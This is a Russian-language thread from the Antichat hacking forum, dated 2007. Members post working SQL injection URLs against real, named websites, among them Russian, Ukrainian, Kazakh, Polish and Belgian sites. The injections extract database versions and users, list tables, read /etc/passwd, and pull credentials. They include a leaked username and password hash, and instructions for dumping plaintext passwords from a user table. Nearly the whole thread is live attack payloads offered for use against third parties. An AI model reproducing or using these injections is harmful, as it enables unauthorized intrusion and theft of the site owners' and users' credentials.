15.06.2007, 02:07
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
С нами:
10309346
Репутация:
4303
|
|
Проблемы с выводом...кодировку пытался менять - не помогло.
http://www.kiel.ru/?news=-4+union+select+1,2,3,4,5,6/*
http://www.kiel.ru/?news=-4+union+select+1,2,AES_DECRYPT(AES_ENCRYPT(version (),0x71),0x71),4,5,6/*
|
|
|
15.06.2007, 02:36
|
|
Новичок
Регистрация: 25.05.2007
Сообщений: 16
С нами:
9980343
Репутация:
26
|
|
Код:
http://www.leki.med.pl/lek.phtml?id=0+union+select+aes_decrypt(aes_encrypt(concat_ws(0x203a20,version(),user(),database()),324),324)/*&idnlek=255&menu=3
http://www.voyage-luxe.ru/chapter64.html?uid=-4+union+select+concat_ws(0x3a,version(),user(),database()),2/*
|
|
|
|
15.06.2007, 05:45
|
|
Познавший АНТИЧАТ
Регистрация: 25.08.2006
Сообщений: 1,524
С нами:
10374086
Репутация:
1745
|
|
Харцызский Трубный Завод
Код:
http://www.ukrpipe.com.ua/RUS/news.php?id=-1+union+select+1,2,3,table_name+from+information_schema.tables/*
Всеукраинская техническая газета
Код:
http://www.vtg.lg.ua/index.php?year=2006&id=-41+union+select+version(),user(),database(),4,5/*
Код:
http://www.cubatravel.cu/client/products/products.php?id=-3+union+select+user(),2/*
|
|
|
|
15.06.2007, 11:53
|
|
Участник форума
Регистрация: 06.10.2006
Сообщений: 226
С нами:
10313606
Репутация:
1327
|
|
Код:
http://tj.cafspeech.kz/site.php?lan=english&id=2&newsid=-180+union+select+version()/*
Код:
http://azgroup.kz/binar.php?id=-2'+union+select+concat(user,char(58),password),version(),3,4,5,6,7,8,9,10,11,12+from+mysql.user/*
Последний раз редактировалось _Pantera_; 15.06.2007 в 12:43..
|
|
|
|
15.06.2007, 16:47
|
|
Познавший АНТИЧАТ
Регистрация: 10.06.2006
Сообщений: 1,113
С нами:
10483586
Репутация:
5826
|
|
http://www.voinaimir.ru
Там почти на каждой странице скуля:
Код:
http://www.voinaimir.ru/dicdefinition/?id=-1+union+select+1,2,3,4,5,concat(database(),char(58),user(),char(58),version()),7,8/*
http://www.voinaimir.ru/dicchapter/?id=-1+union+select+1,2,concat(database(),char(58),user(),char(58),version()),4,5,6/*
http://www.voinaimir.ru/reviewlist/more/?id=-1+union+select+1,2,3,4,5,6,concat(database(),char(58),user(),char(58),version()),8,9,10,11/*
http://www.voinaimir.ru/news/more/?id=-1+union+select+1,2,3,4,concat(database(),char(58),user(),char(58),version()),6,7,8,9,10,11/*
|
|
|
|
15.06.2007, 18:36
|
|
Познающий
Регистрация: 05.09.2006
Сообщений: 50
С нами:
10357689
Репутация:
250
|
|
Код:
http://www.coservices.be/main.php?lang=FR&id=-79+union+select+1,2,convert(concat(username,0x3a,password)+using+latin1),4,5,6,7+from+users/*
wouter:35bd37524b997d6ddd579756fde4756e
Код:
http://fots.ru/gal/?gal=-1947+union+select+1,2,3,version(),5,6,7,8,9,10,11/*
|
|
|
|
15.06.2007, 23:03
|
|
Постоянный
Регистрация: 20.01.2007
Сообщений: 787
С нами:
10160966
Репутация:
1719
|
|
хз, от чего пасс, но вывод в тайтле)
cgi-формы логина в наличии есть, но там другая инфа нужна.. остальные таблицы не подбирал
Код:
http://www.sinauer.com/detail.php?id=-1'+union+select+concat(user,0x3a,pass)+from+users/*
антибаян не пашет, не проверил.. мб кто докопается, все-таки pr = 6 ) |
|
|
|
15.06.2007, 23:09
|
|
Познавший АНТИЧАТ
Регистрация: 10.06.2006
Сообщений: 1,113
С нами:
10483586
Репутация:
5826
|
|
Код:
http://law-c.ru/document.php?id=-1+union+select+1,2,3,concat(database(),char(58),user(),char(58),version()),5/*
----------------------------------
Код:
http://www.namakon.ru/articles.php?id=9999999999+union+select+1,2,concat(database(),char(58),user(),char(58),version()),4,5,6,7,8,9/*
/etc/passwd:
Код:
http://www.namakon.ru/articles.php?id=9999999999+union+select+1,2,load_file(0x2f6574632f706173737764),4,5,6,7,8,9/*
----------------------------------
Код:
http://www.vch.ru/cgi-bin/guide.cgi?table_code=12&action=show&id=-1+union+select+1,2,concat(database(),char(58),user(),char(58),version()),4,5,6,7,8/*
Код:
http://www.vch.ru/cgi-bin/guide.cgi?table_code=12&action=show&id=-1+union+select+1,2,table_name,4,5,6,7,8+from+information_schema.tables/*
Код:
CHARACTER_SETS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
ALPHABET
ALPHABET_ENG
ANONS
BELARUS
BELARUS_V
CARRIERS
CARRIERS_ENG
CONTENT
CONTENT_ENG
CRYPTO
CUSTOMS
CUSTOMS1
CUST_BOD
CUST_BOD_ENG
CUST_BOD_MOS
CW
DEPARTMENTS
DEPARTMENTS_ENG
DOCS
DOCS_EMCTC
DOCS_ENG
DOCS_T
DUTYFREE
ECONOMY
ECONOMY_ENG
EMCTC_CONTENT
EMCTC_NEWS
EMCTC_NEWS_SECTIONS
EVROAZS
EVROAZS_ENG
HIT
INFRINGERS1
INFRINGERS2
KAZAHSTAN
KAZAHSTAN_V
KLIENTI
LINKS
LOGISTIC
LOGISTIC_ENG
NEWS
NEWS_ENG
OTO
POPULYR
PRACTICE
QUESTIONS_VCH
REFERATS
REVIEW
REVIEW_ENG
RUMORS
RUMORS_ENG
SEMINARS
SHIFR
SHIT
SearchStrings
TEMP
TEXT
TEXT_ENG
TW
UKRAINA
UKRAINA_V
VASYANYA
VTOROSSII
WAREHOUSES
aaa
banners
banners_eng
baz_sklad
doska_bodies
doska_headers
garant_banks
item
item_group
job_bodies
job_headers
price30
tam
|
|
|
|
15.06.2007, 23:27
|
|
Участник форума
Регистрация: 06.10.2006
Сообщений: 226
С нами:
10313606
Репутация:
1327
|
|
Код:
http://www.turimpex.ru/pg.php?id=-2'+union+select+1,2,3,4,5,6,7,version(),9,10,11,12,13/*
Код:
http://oncoplastic.ru/rak.php?id=-2+union+select+1,AES_DECRYPT(AES_ENCRYPT(email,0x78),0x78),3,4,5,6+from+admin/*
Код:
http://www.datacd.ru/faq.php?id=-2+union+select+1,version(),3+from+news/*
|
|
|
|
16.06.2007, 00:47
|
|
Leaders of Antichat
Регистрация: 25.01.2007
Сообщений: 341
С нами:
10153766
Репутация:
2565
|
|
Национальная Академия Социальных Технологий
www.st-academy.ru
Достаем имя пользователя, базы и версию мускула:
Код:
http://st-academy.ru/nast/news/?id=-1+union+select+1,concat(user(),0x3b,database()),3,convert(version(),char),5,6,7,8,9/*
Форум самописный и там ничего интересного, зато есть таблица user:
Код:
http://st-academy.ru/nast/news/?id=-1+union+select+1,concat(login,0x3b,email,0x3b,icq,0x3b,pass),3,4,5,6,7,8,9+from+user+limit+1,20/*
пароли в открытом виде, лимит вам в помощь 
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
![Аватар для [53x]Shadow](/avatars/avatar32248.jpg?388709){kind=avatar}
Комбинированный вид
